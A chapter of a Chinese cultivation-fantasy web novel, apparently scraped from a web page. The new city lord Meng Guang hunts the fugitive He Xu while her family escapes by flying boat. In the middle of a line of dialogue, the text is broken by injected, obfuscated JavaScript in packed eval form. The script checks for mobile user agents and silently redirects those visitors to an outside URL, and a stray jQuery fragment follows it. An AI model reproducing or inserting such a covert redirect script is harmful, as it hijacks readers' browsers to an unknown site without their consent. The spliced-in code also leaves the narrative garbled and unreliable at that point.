沉水泽畔,妖兽腥臭巨口中,只剩一口气的孙良霁,四肢折断,下腹一个大血洞,丹田已彻底碎裂,正口中一张一合,咕哝着什么听不清的话。
孟广抬手将孙良霁拽出,扔在地上。神识仔细探过他全身,见他经脉俱断,丹田已毁,不禁心中一动。
“他怎么会伤成这样……”孟远盯着地上浑身腥臭的人,满脸震惊,“谁干的?难道……”
孟广则神识无声放出,待扫过整片树林却一无所获,幽幽开口:“倒是个聪明人。”
“叔父?”孟远不解抬头。
“查。”带着孙良霁上了灵器,孟广朝城内疾驰而去。
“即刻下令去查……小小一个炼气期,她能躲到哪去?”
.
琅岩出了大事。
七月忽然地动,两座灵矿死难无数。
正是孙家修士倾巢而出、重建灵矿时,八月十五,南霍又一次地动。
据说是一名外来邪修混入孙家,为夺宝物,故意炸山引起地动与兽潮,而后在南霍大开杀戒。
不仅杀死了数名筑基修士,甚至连家族之主孙承天,也殒命于丧尽天良的邪修之手。
消息一出,全城哗然。邪修被骂了个狗血临头,而危难之时挺身而出,赶走邪修的孟广,俨然成了挽救琅岩于水火的风云人物。
除去家主陨落外,噩耗还有一件。那便是家主之孙孙良霁——面上不说,但大家都心知肚明的孙家接班人,身受重伤,命不久矣。
那惨无人道的邪修,不仅心狠手辣,还培养了一个同样恶毒的徒儿。邪修在南霍作乱之时,他那徒儿也对着同门狠下毒手。
而英勇的孙三少爷前去捉拿小邪修,结果在城东静语林中,被残忍杀害。
弥留之际,孙三少将琅岩托付给了自己这位亲近的外姓前辈——孟广。
而那位邪修之徒……据说名叫何煦,正是城南杏林村人士。
.
接任家主的孟广悲痛万分,下令全城搜捕邪修恶徒。官道上一连几日尽是步伐匆匆的府兵和修士。城南更是挨家挨户被盘问一通。
杏林村的农户们面色惶惶,任由凶神恶煞的府兵在村中翻找。张小叶拉着娘的胳膊,怔怔地看着前方被强闯而入,捣毁一片的嬴家。
“村长何在?”那府兵见嬴家院里空无一物,灰土落了厚厚一层,立刻变了脸色。
“回大人,小人正是杏林村村长……”站出来个是个老婆子,正是杏林村这任村长。
“何煦一家何在?为何院中积灰如此严重!”
“回大人,何煦一家,今年年初,就离开村子,到城东治病去了。”村长急急忙解释,一旁的孙子搀着她,俩人都有些颤颤巍巍。
“城东治病?擅自搬迁,怎么没有上报?”
见那官兵态度凶狠,村长赶忙答话:“不是搬迁,大人,不是搬迁。那一家子在城东医馆住着,说是看好了就回来。今年秋的租子,也是走前就交给了小人,叫小人代为上缴……”
府兵听了一通解释,又翻遍全村无获,最后队伍一收,朝着城东去了。
见官兵远去,聚在一起的村民才敢窃窃私语,嘀咕起这事儿。
“那嬴家丫头怎么跟了邪修?还杀了城主的孙子,这也太吓人了……”
“过年还见过的呢,看着也不像邪修啊,板正板正的……”
“哎!城里这些事儿,都不好说。谁知道是不是哪家高门大户做了恶,随便找个替死鬼……”
“你快别说了!”村长瞪那咋咋呼呼的人一眼,挥挥手把人都赶走,“都回家吧,别瞎议论!”
众人这才散去。
张小叶落在后头,怔怔看着嬴家的方向。
那座小院子很是温馨,她去过几次,里面拾掇得整整齐齐,院后种着一派杏树,家里还养了一猫一狗。每次进去,阿煦都给她倒一碗糖水。
说来确实好久没见过阿煦了……年节时还说过话,那时晏姨依旧病得很重,阿煦看着也闷闷不乐……再后来,那座小院就不知不觉空了。大半年过去,没见有人回来。
……阿煦怎么可能是邪修呢?
一阵秋风过,张小叶遥遥看着那院子,打了个寒颤。
.
城东很快也迎来了鸡飞狗跳。山下村落被一一搜过,尤其是各家医馆遭了大殃。官兵个个满脸凶恶,进来便是一番不讲道理地翻找。
但将屏山的医馆翻了个遍,硬是一个可疑人影都没找见。
怎么逼问,家家医馆都是一脸茫然,声称根本没见过什么一家三个或两个来治病的外村人。
“……何煦她娘据说去年秋天害了病,卧床不起。年初一家子就离开杏林村,说是去城东看病了。但城东没有一家医馆见过这几人。我们遍寻无获,只找到屏山下一个废弃院子。有猎户说见过里面亮灯,依稀是一家三口,但也不确定……”
汇报的修士是城主府大掌事,这会儿对着孟广恭恭敬敬,甚至有几分畏惧。
见孟广面上神色阴沉,大掌事额上见汗,腰弯得更低:“家主赎罪,小人无能,没找到邪修……”
“行了。”孟广挥挥手,叫掌事出去。
掌事如蒙大赦,这才躬着腰退了几步,急急出了殿。
这位新家主……同时也是新城主,看着可比孙承天,还要难应付。
殿内高座上,孟广神色不明。孟远从侧殿转出,沉思一会儿,便开口道:“叔父,此人会不会已经死了?”
“不,她们逃了。”
听孟广笃定道,孟远一愣:“可是这怎么可能……”
“恰好生病不见人,又恰好没住在医馆也没租房子,而是找了个偏远破院……世上哪有那么多恰好?”
孟远难以置信:“什么……可难道,她们从去年……从被罚休学开始,她一家便在计划逃走?”
孟广起身,绕过长案,向殿外去。
案上一方石质令牌十分突兀,上面刻着两个方正大字,正是“何煦”。
“就算一切都是恰好。可顺着魂息印记,竟只能找到被丢下的令牌,而探不到此人位置……说是没有特意准备,未免可笑。”
跟着叔父一路走出殿门,看着殿外比以往寂静许多的院子,孟远愣神许久,表情复杂道:“何煦此人空有修为,不擅心机,一家又俱是凡人无疑,竟能……”
“自然不是她一家的本事。”孟广冷笑一声。
“这个周语明,临走之前,竟还留了这么一手……罢了,左右只是个炼气小子,无需在意。”
见孟广当真不打算再管此事,孟远却依旧有些犹豫:“可是,她见过两次……”
“远儿。”
孟广突然转头,看不透的眼神淡淡朝他投来,叫孟远心中一寒,猛地冷静下来。
“你还有要紧事,莫疏忽修行。”
“是。”孟远低头掩去冷汗,不再提此事。
这位叔父,往日惯做跋扈自大的样子,也因而从未惹得孙家人怀疑。
但自从他被看中修为,跟着叔父一起做事,他早早察觉到对方深沉的内里。
他还没有本事向对方提意见。
“还有三年便是凌霄宗大选,你修为还差的远,抓紧修炼。”
撇下这一句,孟广便挥手叫他退下。
孟远答应一声,退出殿门。那股越加叫他窒息的压力远去,深呼一口气,这才转头,走出殿院。
内门北院里冷冷清清,往日的孙家“旧党”肃清了一半。
孟远缓缓踱步其间,脸上神色不复孟广面前的恭敬。想起何煦,眼神阴沉起来。
三年,只剩三年……自己尚需苦修,可那何煦不知走了什么运道,修为已远远甩开他。名额只有三个,幸好她不在了……
神色一松,孟远笑了。
对,无需再担心了,她已经不在了。
三年后琅岩城的法修,他必是第一。
两步出了殿院,夏时轻刚好迎面走来。孟远眯了眯眼,开口打招呼:“夏师妹。”
“孟师兄。”夏时轻也无甚表情。
“三年之后,便是机会。夏师妹可要抓紧了。”
孟远淡淡瞅着她:“虽说答应会举荐你,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171271|180677||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师妹修为若过不了关,举荐也无用。”
“多谢师兄告知。”
闲谈两句,便要分别。夏时轻转身的动作顿了顿,似乎想问起什么,后终是没开口。
孟远也只当没看见,心中恶劣地嗤笑。
.
琅岩的动荡仍未彻底平息。城中街道上一改往日热闹,如今冷冷清清。
城主称病退位了,一夜之间,孟广一人独揽了家主与城主二职。原先盘踞此处数百年的孙家,也一夜之间,便不在了。
如今,琅岩城只有一个孟家。
孙家本家的筑基修士在矿场动乱中死伤大半,究竟怎么死的没人会深究。
总归没了做主的人,太在乎有些事,日子还怎么过呢。
有些空荡的内外门中,门人们也只是呆愣着,静等一切尘埃落定。
这片安宁已久的土地上少有变化,如今乍然突变。有人焦虑难安,有人悲痛欲绝。亦有人无动于衷。
毕竟上头再怎么变,底层修士的日子总是一样的。
张檀缩在自己的房间,静静擦着剑,将几日前的记忆赶出脑海。
山风拂过,带着她抛弃的记忆一同远去东边。
.
东边百里外的屏山,安静如常。这座连绵的巨山,千百年如一日默然耸立,拦住东方而来的新鲜,也挡住脊背后蜷缩的旧城。
几日前。
一道人影背着个浑身血迹的少年女修,跌跌撞撞靠近一片斑驳的石壁。
“阿煦!”
光华一转,那石壁后竟走出两个人来。
嬴晏和嬴劭早已等得心焦,此刻见人来了,立即上前来。
嬴晏一颗慌乱不止的心脏终于落回胸腔,伸手接过昏迷的女儿,眼中泪意忍下:
“小柳,多谢你。”
嬴晏拉着柳朔的手,指尖仍在颤:“谢谢你……谢谢你带她回来。”
柳朔有些怔然,嬴晏手在抖,却力气极大,握得他有点疼。手上温度传来,叫他觉得陌生且刺痛,不由得低下眼:“师姐救我一命,我本就该还的。”
说罢余光低垂,恰见那只狼脚步虚浮,有些恹恹地走向嬴晏身后,靠在正一手搂着女儿的嬴劭腿边。
即便精神不济,仍然死死盯着他。
“时候不早,我们快走吧,再晚恐有危险。”
嬴晏话毕,几人立刻朝后去。只见几步之外,赫然是一架飞舟。
虽漆色斑驳,多有磕碰,但乃极品灵器不假。
嬴劭抱着嬴煦进了舱房。柳朔则与嬴晏一道在舟前,待嬴晏慢慢启动飞舟,他也一刀划开眉心,闭眼默念法诀。
“生生我命,灼灼归元……”
额间殷红血珠凝出,渐渐顺着气流归拢在他手间。
“身不动念,天不留痕。行于昼夜,命隐沉尘。”
他脸色迅速灰败下去,本就瘦弱不堪的身子更如萧瑟叶片,一吹就要散。
那几滴精血缓缓被炼化,化作一层无形屏障,覆住整个小舟。
屏障一成,林中四周窥探来的妖兽视线顿时一空,很快便散去。
无声定定注视着他的那只黑猫,也仿佛终于失去了兴趣,跳上舟顶,不再理会他。
舱内矮榻上,嬴劭鬓间已花白了许多。此刻正将昏迷中仍皱眉蜷缩的嬴煦抱到榻上,叫她枕着自己的膝,轻抚过孙儿濡湿的额发。
“阿煦……不怕,不疼了,到家了。”
缓慢又心疼的安抚一声声揉进脑海。嬴煦昏昏沉沉中,直觉埋进温暖的怀抱,脊背弓着,缩成一团。
摇摇晃晃,仿佛回到母亲的子宫。
不知过了多久,茸茸才尾巴耷拉着,慢慢走了进来,疲惫至极的模样。
这会儿飞舟稳定下来,已经进了山中暗道。确认听不到也闻不到任何古怪气息,柳朔也已经半昏半睡过去,茸茸才进来跳上塌,缩成个圈靠在嬴煦小腹。
眼睛再也撑不住,就这么闭上。
两人俱是深梦。
小舟也晃晃悠悠,在漆黑古老的甬道里,渐渐朝模糊的未来而去。